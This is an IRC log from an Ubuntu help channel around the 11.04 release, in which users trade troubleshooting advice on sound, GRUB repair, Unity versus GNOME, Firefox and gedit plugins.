[03:16] <dustin_> mastaofdisasta, mu backlit 10key pad worked right out of the box
[03:16] <jerriy> shcherbak: For all I know I could be in extraterrestrial terminal.
[03:16] <ny51bern> Datz: okay. restarting now
[03:16] <Datz> ny51bern: for me reconfiguring to default x config worked
[03:17] <escott> !help | sly
[03:17] <ubottu> sly: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[03:17] <shcherbak> jerriy: I mean do you have Gui, you know desktop, etc?
[03:17] <sly> escott: I wanted to see if someone was available before I explained the whole ordeal.
[03:17] <uberfrau> is my question too stupid to respond to or something? X_X
[03:17] <ny51bern> Datz: it worked but you know what i noticed?.. on the bottom toolbar of login screen it looks crappy. like black splotches
[03:17] <akharris> Upgrading to 64 bit worth it? Or should I stay put on 32 bit?
[03:17] <ny51bern> Datz: like it isnt loading correctly
[03:18] <jerriy> Yes I'm logged into my ubuntu partition and in a gui environment right now
[03:18] <sly> I'm attempting to figure out why my internal mic and speakers aren't working.
[03:18] <akharris> Anybody here on a Macintosh Computer? I'm having a problem with my speakers, PM me please!
[03:18] <nimrod10> akharris, if you don't have a specific need for 64bit I'd stay on i386 for now
[03:18] <shcherbak> jerriy: And if you type your password in terminal you have right one ?
[03:18] <dustin_> sly what kind of laptop is this? make/model
[03:18] <Datz> ny51bern: strange
[03:19] <a7i3n> Sly - do you have them turned on in firmware?
[03:19] <Datz> ny51bern: did you upgrade, or do a fresh install?
[03:19] <ny51bern> Datz: upgrade
[03:19] <GarryFre> escott yes, you are right, the theme is correct, white text on black backround. Its firefox itself, its the culprit. Looks like I need to fiddle with the firefox theme.
[03:19] <akharris> Sly, My speakers dont work either!
[03:19] <tortoise> escott: should 3.2 load pages such as: http://novemberblue-.tumblr.com ? Because, to be honest, that's the only thing that I seriously want to fix. There are only a few features in ff4 that I would not want to lose.
[03:19] <KNUBBIG> wow irc with iphone and issh :-) successful day  good night all
[03:19] <sly> dustin_: Inspiron 1546
[03:19] <escott> GarryFre, ubuntu has some additions for firefox including a theme package. you might reinstall those/check that they are enabled
[03:19] <uberfrau> guys... ._.?
[03:19] <sly> a7i3n: Not sure what you mean by that.
[03:19] <sly> akharris: That sucks. :(
[03:19] <FishFace> GarryFre: Just wondering since I had the same problem, how video memory do you have?
[03:19] <Datz> ny51bern: did you have any graphics drivers loaded before?
[03:20] <kenneth_> anyone else have problems after switching to ubuntu 11.4?
[03:20] <ny51bern> Datz: how would i know?
[03:20] <Datz> ny51bern: well, you would have loaded them before.
[03:20] <escott> sly, if you have a brand new laptop with intel processors hda_analyzer.py from the alsa group can be helpful
[03:20] <ny51bern> Datz: i didnt do anything manually..
[03:20] <akharris> How do i fix my speakers they dont work! Macintosh/MacBookPro/17in/mid-2008/2gbRAM/2.5GHz Processor,Intel/Nvidia Graphics card. 11.04 32bit. PLEASE HELP :(
[03:20] <sly> escott, it's AMD.
[03:21] <ny51bern> all i did to edit ubuntu was edit grub so that ubuntu was first choice, and added a custom theme.
[03:21] <linuasus6> please how to restore my grub
[03:21] <Juest> linuasus
[03:21] <Datz> ny51bern: humm, well I'm not sure what I can help you with anymore. I'd personally try looking through the recovery options for something
[03:21] <akharris> How do i fix my speakers they dont work! Macintosh/MacBookPro/17in/mid-2008/2gbRAM/2.5GHz Processor,Intel/Nvidia Graphics card. 11.04 32bit. PLEASE HELP :(
[03:21] <Juest> linuasus6: are you with the system running?
[03:22] <ny51bern> Datz: okay, well i posted on forum so maybe i'll get something ther. thanks tho!
[03:22] <linuasus6> im on a live cd atm
[03:22] <jerriy>  shcherbak: I just hit control-alt-F5 and opened up terminal in max mode and was asked to login so I typed my username , then typed my password I did and it went OK :P
[03:22] <pbandcheezwhiz> updated to Natty.  I didn't like how Unity was dealing with my dual monitors.  Installed Gnome-shell.  I got the theme to work correctly, but it seems the window decorations are not.  I ran "/usr/lib/gnome-session/gnome-session-check-accelerated; echo $?
[03:22] <pbandcheezwhiz> " and acceleration is working   Thoughts?
[03:22] <Juest> linuasus6: try reinstalling grub in the system
[03:22] <escott> akharris, first check alsamixer command line that nothing is muted
[03:22] <linuasus6> ya how
[03:22] <Juest> but maybe no way with live cd
[03:22] <Juest> upgrade system
[03:23] <nit-wit> linuasus6, can you paste bin the output from sudo fdisk -lu
[03:23] <sly> escott, I also tried the alsamixer and it showed internal mic as being 100%.
[03:23] <uberfrau>  :S I copy + pasted the contents of the tarball download (the gedit plugin, and yes i extracted it into tmp)into ~/.local/share/gedit/plugins , and restarted gedit, but the plugin isn't available in the list under preferences. What should check/what could I have done incorrectly?
[03:23] <dustin_> sly I am not finding known issues for your laptop but have you checked your sound settings?
[03:23] <escott> tortoise, yeah the old version of firefox is fine
[03:23] <Guest97621> #ubuntu-cn
[03:23] <carl-m> linuasus6: did you update to 11.04 when this happened?
[03:23] <linuasus6> no im on 10.04
[03:23] <Juest> akharris: do this, stop randomsound
[03:23] <tortoise> escott: Okay, I know this is a stupid question, but what would be the smoothest way to revert back to 3.2?
[03:24] <sly> dustin_, I've checked alsamixer to make sure it wasn't muted (as I just mentioned to escott). It said it is at 100%.
[03:24] <linuasus6> pastebin
[03:24] <dustin_> sly sorry I am late to the conversation reading up it seems escot has you where I was going to send you
[03:24] <sly> It's alright.
[03:24] <GarryFre> FishFace I have 1gb
[03:24] <linuasus6> pastebin.com is ok
[03:24] <Juest> hey, to make sound work make sure that there's only one audio server daemon running
[03:24] <sly> It was working when I did the fresh install for 11.04, because I could see it in the normal sound preferences dialog from the sound menu.
[03:24] <shcherbak> jerriy: Once more, in gnome-terminal: type your password to see it letter by leter, to know if it is problem with encodind. Second in tty5 (where you just logged in, test: sudo cat /etc/hostname and check if sudo takes your password).
[03:24] <FishFace> GarryFre: OK. Thanks. Mine was much lower
[03:24] <dustin_> sly stick with escot he is pretty good with laptop stuff he has helped me in the past
[03:24] <Juest> and make pulseaudio as system
[03:25] <uberfrau> someone please answer my question, or at least say why it isn't a good question =/
[03:25] <sly> I mean. It shows that it has an internal mic, so I know it's recognizing it. I just don't get why it's not picking up any sound.
[03:25] <shcherbak> *many typos (coffee time)
[03:25] <linuasus6> here http://pastebin.com/SyujP3hU
[03:25] <uberfrau> pavucontrol?
[03:25] <aussa> hi, how do I know a "make" command was succesful?
[03:26] <FishFace> uberfrau: uberfrau Just a guess. Did you do it as root?
[03:26] <escott> tortoise, you have to purge the ppa which involves uninstalling firefox, and removing the ppa from your apt-sources, and then reinstall firefox
[03:26] <MustardCU1> Is there anyway I could run this without sudo? sudo setpci -s 00:02.0 F4.B=30 it needs sudo to access /sys/bus/pci/devices/0000:00:02.0/config though
[03:26] <GarryFre> escott thanks, I found the theme choices in add on manager and switched to a theme. It looked like no theme at all was being applied - none were set to be in use.
[03:26] <root_> hello world!
[03:26] <uberfrau> FishFace, do what as root? o.o
[03:26] <newb_> Hello! Ubuntu natty come with gnome 3?
[03:26] <MustardCU1> Newb_ no
[03:26] <escott> tortoise, the ppa-purge script merely automates the removal and makes sure that nothing else installed by that ppa
[03:27] <newb_> MustardCU1: Can I install gnome3 on natty?
[03:27] <shcherbak> uberfrau: who owns tars and what pernissions (should not plugins be untared), and do not spam, please.
[03:27] <MustardCU1> newb_ yes
[03:27] <GarryFre> escott++
[03:27] <escott> aussa, it should generate an executable you can run (and shouldn't finish with lots of errors)
[03:27] <phillipe> español
[03:27] <MustardCU1> i'll get the link
[03:27] <KM0201> newb_: you can... but during beta, results were very mixed... (lots of lockups, etc..) YMMV.
[03:27] <shcherbak> newb_: via PPA, yes
[03:27] <Juest> is possible to install gnome3 inside 10.10 with gnome unistalled?
[03:27] <nit-wit> linuasus6, which partition is the install you want to have the boot
[03:28] <MustardCU1> newb_, here you go http://askubuntu.com/questions/22946/how-do-i-install-the-latest-version-of-gnome-3
[03:28] <Juest> for example with kubuntu
[03:28] <phillipe> out of range hf 30 70 vf 50 160?
[03:28] <MustardCU1> Newb_, backup your stuff first
[03:28] <linuasus6> nit-wit /boot is sdc5
[03:28] <uberfrau> shcherbak: https://github.com/kassoulet/gedit-focus-autosave#readme and i did extract it
[03:28] <jerriy> THE DEVIL! THAT'S it shcherbak: I just noticed that my keyboard isn't typing what's on the keyborard
[03:28] <shcherbak> Juest: Maybe, try to mach source, and experiment, you are likely to be first.
[03:28] <escott> newb_, the gnome3-ppa tends to break unity (or so i have heard)
[03:28] <astory> I'm seeing banshee use 100% of a processor 0- I could't find any references online to this, does anybody else have this problem?
[03:28] <MustardCU1> escott, it did for me
[03:28] <tortoise> escott: okay, where is the *right firefox to install? Because I feel like there is an overwhelming amount of packages to install for ff?
[03:29] <KM0201> escott: that was my experience... not to mention, it wasn't reliable at all.
[03:29] <astory> escott: yeah, it did when I tried it
[03:29] <uberfrau> and sorry about the spamming, i've been at this for 1.5 hours and want to get back to Ruby :/
[03:29] <Juest> why and what's mach source?
[03:29] <phillipe> #ubuntu-es
[03:29] <shcherbak> jerriy: Hurray, check settings in gnome-terminal
[03:29] <KM0201> MustardCU1: so why are you recommending it?.. why not say yes, it can, w/ some caveats, instead of "yes, and a link"
[03:29] <gartral> whatever happened too the secuirty and encryption gui in ubuntu?
[03:29] <shcherbak> jerriy: or.. man locale
[03:29] <Juest> !repeat | uberfrau
[03:29] <ubottu> uberfrau: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[03:29] <MustardCU1> KM0201, i never did
[03:29] <nit-wit> linuasus6, cool here is a link to a grub reload from a live cd it is grub2.https://help.ubuntu.com/community/Grub2#Reinstalling%20GRUB%202
[03:29] <escott> tortoise, there should be only one firefox listed in synaptic after you remove the mozillateam ppa
[03:29] <KM0201> MustardCU1: you said yes it can, and gave him the link
[03:30] <MustardCU1> KM0201, they asked for it so i gave it to them
[03:30] <MustardCU1> KM0201, well Gnome 3 works
[03:30] <KM0201> ..
[03:30] <MustardCU1> lol
[03:30] <nit-wit> linuasus6, is the sdc a external
[03:30] <kyle__> anyone know why my fonts are huge on the log on screen, like to big to fit in text boxes? ive forced dpi to 96 to make it workable in kubuntu itself, but the log on screen is still huge. any ideas?
[03:30] <gartral> MustardCU1: "Works" and "Works well" have ENTIRLY different meanings!
[03:30] <MustardCU1> true
[03:30] <sly> escott, you have any clue to another solution besides going into the alsamixer direction, since I've already been there?
[03:30] <KM0201> !worksforme
[03:30] <ubottu> Common Sense: Just because you can, does not mean you should (and especially recommend to others). Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability. Please see http://geekosophical.net/random/worksforme/
[03:30] <linuasus6> ya nit-wit is for that I made a /boot partition
[03:31] <newb_> MustardCU1, KM0201, shcherbak, escott: Really thanks for info! I will try the link! Last question: Can I install Unity and change from Unity/Gnome-shell when I want from this PPA? Asking this based on escott question about break unity...
[03:31] <escott> uberfrau, is that the correct place to put the plugin? (i have no idea), you might check on #gnome?
[03:31] <KM0201> newb_: again, my experience, gnome-shell broke unity, when i tried to remove gnome-shell, unity remained broken.. this was during beta, i ended up just reinstalling
[03:31] <nit-wit> linuasus6, cool jus load it as the two commands show and the second command to the sdc mbr does this make sense
[03:31] <uberfrau> escott, yes it is correct
[03:31] <MustardCU1> Newb_, didn't work for me but once Gnome 3 was gone Unity was working again
[03:31] <astory> KM0201: unity un-broke for me
[03:31] <escott> sly, i only know my trick for intel hda devices
[03:32] <astory> but I used purge-ppa
[03:32] <uberfrau> the ubuntu page on gedit says as much
[03:32] <sly> Ah, fml.
[03:32] <KM0201> astory: you're lucky... there were several in the beta channel that ended up reinstalling when they tried to remove it...
[03:32] <jerriy> shcherbak: wait I'm trying to find out how to find the right key to my password
[03:32] <Juest> KM0201: here it happened the same, installed gnome3-session and gnome-shell and it broken whole gnome
[03:32] <Juest> in 10.10
[03:32] <kyle__> hmm ok
[03:32] <kyle__> anyone know why my fonts are huge on the log on screen, like to big to fit in text boxes? ive forced dpi to 96 to make it workable in kubuntu itself, but the log on screen is still huge. any ideas?
[03:33] <shcherbak> uberfrau: Make all three files owned by root:root and set to 775, after you done, restart gedit, and see if python is running (in htop?).
[03:33] <Juest> try in accesibility settings in login
[03:33] <kyle__> i have
[03:33] <shcherbak> jerriy: What key is it?
[03:33] <kyle__> no work
[03:33] <FishFace> uberfrau: Cant help you much on that. If you are root and you do the make , make install blah blah, and it doesn't work, then something is broken. Good luck on that.
[03:33] <Juest> :O
[03:33] <linuasus6> nit-wit the grub is the linux mint grub, ubuntu is on sdc4 I think
[03:33] <shcherbak> jerriy: ;)
[03:33] <kyle__> the font problem only happens with kde,  gnome and gdm are fine,   kde and kdm are huge
[03:33] <aussa> how do I know where the error is while "making"?
[03:33] <jerriy> I'm looking for french E
[03:33] <uberfrau> when i do the make install, it says the files already exist where they should be (Error 1)
[03:34] <uberfrau> shcherbak, how do i do your recommendation?
[03:34] <gartral> whatever happened too the secuirty and encryption gui in ubuntu?
[03:34] <uberfrau> and i was not root when i did the make...i was in the directory which contains the files?
[03:34] <escott> aussa, you have to scroll through the errors and find the first one
[03:34] <nit-wit> linuasus6, use the same cd of the insta and  In the terminal sudo mount /dev/sdc5 /mnt  then  sudo grub-install --root-directory=/mnt /dev/sdc
[03:34] <Juest> kyle__: try tweaking kde
[03:35] <nit-wit> linuasus6, *install
[03:35] <bullgard4> http://people.ubuntu.com/~nhandler/classroom.html does not show me any entries. Does this mean that there are no Ubuntu classrooms in May, 2011?
[03:35] <kyle__> ive gotten kde to look fine now
[03:35] <kyle__> it just kdm
[03:36] <kyle__> and it only happen on this monitor
[03:36] <kyle__> if i hook up my 22" it looks fine
[03:36] <kyle__> this is a 40" @ 1920
[03:36] <tortoise> escott: I'm honestly not sure which one I'm supposed to be installing. There's one titled "firefox" but I believe it's even older than 3.2. There is also xul-ext-ubufox, I'm not sure what this is though?
[03:36] <shcherbak> uberfrau: Forgot make, just copy all three files to mentioned in readme directory, chown and chmod
[03:37] <judget> can LVM be added after 10.04 server install?
[03:37] <nyoger> night
[03:37] <newb_> MustardCU1, KM0201, shcherbak, escott: OoOps, system restart from distro upgrade! i back soon
[03:37] <MustardCU1> newb_k
[03:37] <uberfrau> shcherbak O_O i have never really done this stuff, sorry i'm dunno how to do this stuff...the three files = ?, the readme directory, chown, and chmod are where?
[03:37] <linuasus6> http://pastebin.com/Vrw2S4U5
[03:38] <MadRobot> Hi all
[03:38] <shcherbak> jerriy: Bad think is cannot find french keyboard...
[03:38] <gartral> STUUUPID question, if i wanted too install kde.. without using the kubuntu-desktop meta-package, what would i apt-get?
[03:39] <MadRobot> how do I configure compiz without having to switch to the old interface?
[03:39] <linuasus6> nit-wit http://pastebin.com/Vrw2S4U5
[03:39] <jerriy> shcherbak: I got the mofo it's é
[03:40] <bullgard4> gartral: That is a bad idea.
[03:40] <administrator__> .
[03:40] <Andre_Gondim> how I do increase my workspace?
[03:40] <KM0201> linuasus6: tat error is obvious, are yo on a lvie cd?
[03:40] <s093294> Hello, anyone able to assist getting hdmi enabled, Thinkbad edge. I have the tv set on the hdmi channel and pluged in the cable but cant select the tv as monitor
[03:40] <shcherbak> uberfrau: From link you gave me, skip makefile, read README, get other 3 files, copy them to ~/.share/local/gedit/plugins (you will need to use sudo), and restart gedit, make directory ~/FilesAreHere and put all 3 files there.
[03:40] <linuasus6> ya
[03:40] <KM0201> linuasus6: did you follow the instructions to mount the drive?
[03:40] <greenlantern> in ubuntu 11.04 i can't get gnome-panel, there is no gnome-panel
[03:40] <gartral> bullgard4: why?
[03:40] <shcherbak> jerriy: ;)
[03:41] <administrator__> ...............
[03:41] <bullgard4> Andre_Gondim: My workspace is the whole screen. Yours not?
[03:41] <linuasus6> km201 I just copy what nit-wit send me
[03:41] <uberfrau> shcherbak: i did read README before asking this stuff, i'll try to accomplish your fix, thanks
[03:41] <aussa> how do I record the make output to a file?
[03:41] <bullgard4> gartral: Because KDE is a complicated program consisting of many components.
[03:41] <shcherbak> uberfrau: I am here in case of trouble.
[03:41] <Andre_Gondim> bullgard4, I have 4 workspace in natty, how do I set more ou less as I want?
[03:42] <jerriy> shcherbak I am now updating the bugger and will log out (cuz terminal is still showing the wrong keyboard set up (the gui is fully working and needless to say THANK YOU SO MUCH
[03:42] <greenlantern> in ubuntu 11.04 i can't get gnome-panel, there is no gnome-panel
[03:42] <KM0201> !grub2 | linuasus6: well, i wasn't paying attention, but nit-wit is competent... try reading the link to 'restore grub2 after windows"
[03:42] <ubottu> linuasus6: well, i wasn't paying attention, but nit-wit is competent... try reading the link to 'restore grub2 after windows": GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[03:42] <bigrob21> hey whats  up sexi  ladys
[03:42] <trism> Andre_Gondim: in ccsm under general options
[03:42] <tortoise> could someone tell me if this is something good to go by? http://www.khattam.info/howto-install-firefox-4-in-ubuntu-10-04-lucid-lynx-and-10-10-maverick-meerkat-2-2011-04-07.html
[03:42] <shcherbak> jerriy: Welcome ;)
[03:42] <Andre_Gondim> thanks
[03:42] <shcherbak> aussa: Record sound?
[03:42] <greenlantern> and why is it called Gnome 3, from About Gnome i got gnome version 2.32.1
[03:43] <KM0201> linuasus6: cuz it looks like you were running that command, on a drive that wasn't mounted
[03:43] <greenlantern> in ubuntu 11.04 i can't get gnome-panel, there is no gnome-panel
[03:43] <neothecat> hello.  i usually use netbeans, but it seems a bit sluggish on 11.04.  i am using open-jdk 6.  is another java recommended with the newest ubuntu?
[03:43] <aussa> no, I mean, save all the process to look for errors... :S
[03:43] <Superstar> I'm having problems with FTP. I regularly get disconnected. Is there any alternatives that allow direct editing on the fly?
[03:43] <cheeguy> hmmm need a lil help with drivers for ubuntu
[03:43] <uberfrau> shcherbak: WOW, i think i mixed up local and share in the path! OMG D:
[03:44] <bullgard4> Andre_Gondim: Right-click on the the icon in the lower right. > Preferences > Number of workspaces > 5.
[03:44] <MustardCU1> cheeguy, like?
[03:44] <greenlantern> and why is it called Gnome 3, from About Gnome i got gnome version 2.32.1
[03:44] <greenlantern> in ubuntu 11.04 i can't get gnome-panel, there is no gnome-panel
[03:44] <uberfrau> Windows experience bites me in the ass again! (local_low is probably what I was thinking)
[03:44] <greenlantern> and why is it called Gnome 3, from About Gnome i got gnome version 2.32.1
[03:44] <greenlantern> in ubuntu 11.04 i can't get gnome-panel, there is no gnome-panel
[03:44] <cheeguy> cannot use my mousepad or my wireless card
[03:44] <greenlantern> and why is it called Gnome 3, from About Gnome i got gnome version 2.32.1
[03:44] <greenlantern> in ubuntu 11.04 i can't get gnome-panel, there is no gnome-panel
[03:44] <FloodBot1> greenlantern: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[03:44] <KM0201> greenlantern: stop
[03:44] <linuasus6> km0201 is on the desktop mounted I dont know why it said is not mounted the error talking of /dev
[03:44] <KM0201> first, gnome3, is not in Ubuntu 11.04.. read the release notes
[03:45] <shcherbak> aussa: If you think of debugging, there is many thinks, what process?
[03:45] <MustardCU1> cheeguy, if your not already plug that computer into the internet using a wired connection and update.
[03:45] <greenlantern> KM0201: where is gnome-panel ?
[03:45] <greenlantern> KM0201: which docs ?
[03:45] <nit-wit> linuasus6, copy and paste bro
[03:45] <KM0201> greenlantern: if you';re using unity, its not there
[03:45] <MustardCU1> cheeguy, also check for additional drivers
[03:45] <DingGGu> how to install apache2 module mod_cband on ubuntu?
[03:45] <greenlantern> KM0201: what's unity ?
[03:45] <KM0201> ..
[03:45] <linuasus6> nit-wit http://pastebin.com/Vrw2S4U5
[03:46] <MustardCU1> KM0201 Unity is basicly Gnome for Ubuntu 11.04 but well... isn't Gnome
[03:46] <cheeguy> are there drivers developed for the vaio series?
[03:46] <gartral> bullgard4: ok, as long as I can switch back.. and it doesn't auto-replace gdm
[03:46] <aussa> I want to look for erros in a "make" command, it is too long
[03:46] <DingGGu> how to install apache2 module mod_cband on ubuntu? version:10.04
[03:46] <nit-wit> linuasus6, make sure the sdc drive is the first read in the bios, unless it is a external and you know the key propmt boot
[03:46] <MustardCU1> gah, sent it to the wrong person!
[03:46] <greenlantern> KM0201: which docs ?
[03:46] <KM0201> MustardCU1: basically and "is" is totally different, i've used the gnome3 live cd.. and its a lot different from unity
[03:46] <Jordan_U> linuasus6: Can you pastebin the output of "mount"?
[03:46] <akharris> Anybody here know how to use HDA Analyzer? I REALLY need some help!!!!!!
[03:46] <uberfrau> stupid thing i discovered in the process of trying to install this gedit plugin:
[03:46] <shcherbak> aussa: make will give you errs anyway, man make is good start, tho.
[03:47] <nit-wit> linuasus6, I gave two commands look closer
[03:47] <greenlantern> KM0201: where is gnome-panel ?
[03:47] <greenlantern> KM0201: where is gnome-panel ? Jordan_U
[03:47] <owner_> how  do  i speed up my laptop?
[03:47] <uberfrau> when i do `cd ~`, it just takes me to home/user
[03:47] <aussa> I want to pastebin it
[03:47] <KM0201> greenlantern: stop being annoying.. if you're using unity, there is no gnome panel, now go read the release notes on ubuntu.com
[03:47] <Inphernal> greenlantern: I don't think 11.01 doesn't use Gnome
[03:47] <MadRobot> Where do I find the new Application Panels Indicators/
[03:47] <MadRobot> ?
[03:47] <akharris> Anybody here know how to use HDA Analyzer?!?! I really need help please!!!!!
[03:47] <shcherbak> uberfrau: same will: cd as cd ~ does
[03:47] <Inphernal> * I don't think 110.4 uses Gnome* lol
[03:47] <linuasus6> nit-wit I put install after sdc
[03:47] <Jordan_U> uberfrau: That's what it's supossed to do. What were you expecting?
[03:47] <s093294> How can i check that my hdmi output is configuret, nothing happens when plugging the tv cable in it.
[03:47] <Inphernal> fail
[03:48] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[03:48] <uberfrau> i thought ~ was root? :(
[03:48] <nit-wit> linuasus6, first command sudo mount /dev/sdc5 /mnt
[03:48] <owner_> hey sexi
[03:48] <Jordan_U> !language | owner_
[03:48] <ubottu> owner_: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[03:48] <ciphernix> hi
[03:48] <Inphernal> I've looked onlien, but couldn't find any solutions, just other people experiencing the problem
[03:48] <greenlantern> Inphernal: are you sure ?
[03:48] <uberfrau> i know i have more files than the contents of `cd ~`
[03:48] <nit-wit> linuasus6, then run the next one you ran reboot to the OS and run sudo update-grub
[03:49] <greenlantern> Inphernal: ubuntu doesn't have ubuntu ?
[03:49] <greenlantern> Inphernal: ubuntu doesn't have ubuntu/gnome ?
[03:49] <MadRobot> Hello?
[03:49] <owner_> fuck off bye
[03:49] <tortoise> I'm  having an issue loading pages with unkown characters in firefox 4, and would love some help fixing this. I'm running 10.04
[03:49] <greenlantern> does ubuntu use gnome3 ?
[03:49] <bison> what is E: Sub-process /usr/bin/dpkg returned an error code (1)
[03:49] <bullgard4> gartral: Instaling KDE will not automatically auto-replace gdm. But having installed KDE you cannot simply "switch" back to having no KDE. Because Ubuntu has made too many metapackages. This would mean rather much effort by hand.
[03:49] <KM0201> greenlantern: no, it uses unity..
[03:49] <Inphernal> greenlantern: "11.04 is considered to be a major release for Ubuntu because it represents a significant departure from the default GNOME UI to the new Unity UI."
[03:49] <uberfrau> how do i get to the very top level?
[03:49] <skarufue> does anyone know the sudoers syntax. i need to allow one user to execute one specific command as one specific user other then root without entering a password. and i wonder if anyone speaks that synthetic language this config is written in.
[03:49] <shcherbak> uberfrau: try, pwd, tree (may need to install), la, man ls
[03:50] <greenlantern> unity UI sucks
[03:50] <KM0201> Inphernal: lol, death to reading!
[03:50] <KM0201> greenlantern: then don't use it
[03:50] <uberfrau> shcherbak, what? O_O!?
[03:50] <shcherbak> uberfrau: cd / (what is root directory)
[03:50] <uberfrau> thanks
[03:50] <bullgard4> bison: Your apt package system is not all right. Check it.
[03:50] <greenlantern> KM0201: how can i get default gnome-panel
[03:50] <Inphernal> km0201: Haha it does scroll pretty fast xD
[03:50] <uberfrau> so ~ is home, / is root, k
[03:50] <KM0201> greenlantern: ..
[03:50] <uberfrau> now that i know that, back to trying to install the plugin =)
[03:50] <shcherbak> !resetpanel | greenlantern
[03:50] <ubottu> greenlantern: To reset the GNOME panel to defaults, type this in a !terminal: « gconftool --recursive-unset /apps/panel && killall gnome-panel »
[03:50] <MadRobot> KM0201, how do I use the panel-indicators?
[03:51] <MadRobot> KM0201, where do I find them?
[03:51] <bison> bullgard4: how?
[03:51] <uberfrau> greenlantern: halt! *German glare* :D
[03:51] <KM0201> Maddogm: on unity?.. you install them from synaptic.. if you mean the panel applets, they don't wrk on unity, you have to be using gnome classic
[03:51] <linuasus6> nit-wit http://pastebin.com/PnAEAqFD
[03:51] <shcherbak> greenlantern: Oup, missed statement "Unity sucks so much"
[03:51] <nit-wit> linuasus6, http://pastebin.com/69bWgwsW
[03:51] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[03:52] <KM0201> Maddogm: i think you can create a panel.. and add the panel applets to it.. but th top panel.. you won't be able to add applets to it... unless they are indicator applets
[03:52] <bullgard4> bison: Try '~$ update-manager'.
[03:52] <skarufue> I rewrote that with commas: Does anyone know the sudoers syntax. i need to allow one user to execute, one specific command, as one specific user, other then root, without entering a password. and i wonder if anyone speaks that synthetic language this config is written in and can help me out.
[03:52] <Ultimate_Chaos> i figured it out
[03:53] <MadRobot> KM0201, oh, I see. That's quite disappointing if you ask me. Thanks though.
[03:53] <sahil> my unity not woking after i messed with dm
[03:53] <Guest75965> guys how can i add applications to start up at every boot in gnome 3
[03:53] <Ultimate_Chaos> my netork device isnt managed
[03:53] <uberfrau> oh, shcherbak, when exactly will i have to use sudo? did you mean if i'm copying+pasting using Konsole?
[03:53] <Ultimate_Chaos> cause it was on a NAT
[03:53] <bison> bullgard4: nothing happens
[03:53] <nit-wit> linuasus6, you ran the commands backwards just reboot and follow my last pastebin if this does not work post the bootscript in a pastebin.http://bootinfoscript.sourceforge.net/
[03:53] <KM0201> MadRobot: Gnome is getting away from the panel applets, and moving towards indicator applets.. it's honestly not surprising...
[03:53] <Ultimate_Chaos> how do i take it off the nat?
[03:53] <sahil> can any1 help me?
[03:53] <MadRobot> KM0201, how do I add them to the indicator?
[03:54] <aussa> what do I need to build with scons?
[03:54] <bullgard4> bison: What do you mean by: "Nothing happens"?
[03:54] <KM0201> MadRobot: if an indicator applet is available.. msot fo the time, you install them from synaptic
[03:54] <greenlantern> how can i get gnome-panel by default no unity ?
[03:54] <greenlantern> how can i get gnome-panel by default no unity ?
[03:54] <greenlantern> how can i get gnome-panel by default no unity ?
[03:54] <FloodBot1> greenlantern: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[03:54] <KM0201> someone kick that clown
[03:54] <greenlantern> how can i get gnome-panel by default no unity ?
[03:54] <Ultimate_Chaos> hello?
[03:54] <MadRobot> KM0201, no need to add anything at all?
[03:54] <Inphernal> greenlantern: http://news.softpedia.com/news/How-to-Install-GNOME-3-on-Ubuntu-11-04-194085.shtml
[03:55] <KM0201> MadRobot: nope.. just install them in synaptic, and it will get added to the indicator applet tray (up by the clock)
[03:55] <Jordan_U> greenlantern: If you flood the channel by repeating questions like that again you will be removed and possibly banned.
[03:55] <Guest75965> guys how can i add applications to start up at every boot in gnome 3 there doesn't seem to be an option in system setting, is there a  command i can use
[03:55] <greenlantern> Inphernal: i don't need gnome 3
[03:55] <skarufue> unity is awesome!! be haitin
[03:55] <bison> bullgard4: when i type update-manager
[03:55] <greenlantern> Jordan_U: how can i get gnome-panel by default no unity ?
[03:55] <LinuxMonkey> greenlantern, when you login select ubutu classic on the bottom
[03:55] <sahil> unity not working after i messed with gdm
[03:55] <Jordan_U> greenlantern: I don't know. Please stop asking me.
[03:55] <sahil> i reverted it but no panal /launcher
[03:55] <shcherbak> skarufue: http://www.linuxquestions.org/questions/linux-software-2/hddtemp-and-normal-user-484609/ what may help you
[03:55] <kyle__> any ideas why my nvidia driver says "activated but not in use" ??
[03:56] <nit-wit> linuasus6, Actualy my pastbin is inncorrect the x in the second command should be a c I wil do it again hold on
[03:56] <greenlantern> Jordan_U: how many days are you using ubuntu ?
[03:56] <bison> '~$ update-manager'.
[03:56] <shcherbak> uberfrau: Where are files you downloaded?
[03:56] <greenlantern> LinuxMonkey: hi
[03:56] <skarufue> shcherbak: thankyou but no
[03:56] <greenlantern> LinuxMonkey: how can i get gnome-panel default
[03:56] <Inphernal> Anybody know how to fix "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." when upgrading to 11.04 from 10.10 64bit
[03:57] <skarufue> shcherbak: my question was very specific i have that exact specific problem
[03:57] <greenlantern> i want to remove unity , but it prompts me to remove ubuntu-desktop
[03:57] <nit-wit> linuasus6, sorry about that, http://pastebin.com/h3ufspVU
[03:57] <skarufue> shcherbak: sudoers syntax is just inanely hard
[03:57] <LinuxMonkey> greenlantern,  just select ubuntu classic on the login screen....it will stay default unless you change it again
[03:57] <Jordan_U> !ubuntu-desktop | greenlantern
[03:57] <ubottu> greenlantern: k/ed/x/l/ubuntu-desktop is a metapackage. It depends upon other packages and brings them in; you can safely remove it, but it is recommended that you re-install it when upgrading.
[03:57] <doomrobo> Is there a decent sticky-notes desktop widget for unity?
[03:57] <Ultimate_Chaos> oh um
[03:57] <jbicha> Inphernal: Ubuntu 11.04 definitely uses GNOME and please don't encourage people to use the Gnome 3 PPA
[03:57] <greenlantern> LinuxMonkey: i want to remove unity
